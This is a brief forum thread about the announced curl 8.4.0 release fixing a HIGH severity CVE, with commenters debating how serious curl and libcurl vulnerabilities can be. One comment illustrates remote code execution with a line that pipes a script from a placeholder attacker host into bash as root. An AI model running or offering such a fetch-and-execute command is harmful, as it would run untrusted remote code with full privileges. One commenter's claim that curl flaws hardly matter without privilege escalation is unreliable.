cross-posted from: https://biglemmowski.win/post/224873
Posted on twitter by Curl author Daniel Stenberg - https://nitter.cz/bagder/status/1709103920914526525
We are cutting the release cycle short and will release curl 8.4.0 on October 11, including a fix for a severity HIGH CVE. Buckle up.
… But this time actually the worst security problem found in curl in a long time
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-38545
I don’t see how a vulnerability in Curl can exist at all unless it’s privilege escalation (you don’t run curl as root do you?) And if it’s not a privilege escalation, then it sounds like it’s just a “root user can do things that you can do as root, possibly unintended” which isn’t a vulnerability at all.
sudo curl www.badactor.ru/hackme | bash !!!
Could be an RCE exploit. Doesn’t matter if it’s privilege escalation at that point because it can be used to execute a payload that can.
I’ll admit i’m out of my depth about exactly how curl works on the local system, but surely if there is a vulnerability in the “libcurl” library that is much more serious and severe then just saying “curl” is vulnerable.
I’m assuming that libcurl touches a huge amount of the linux network stack.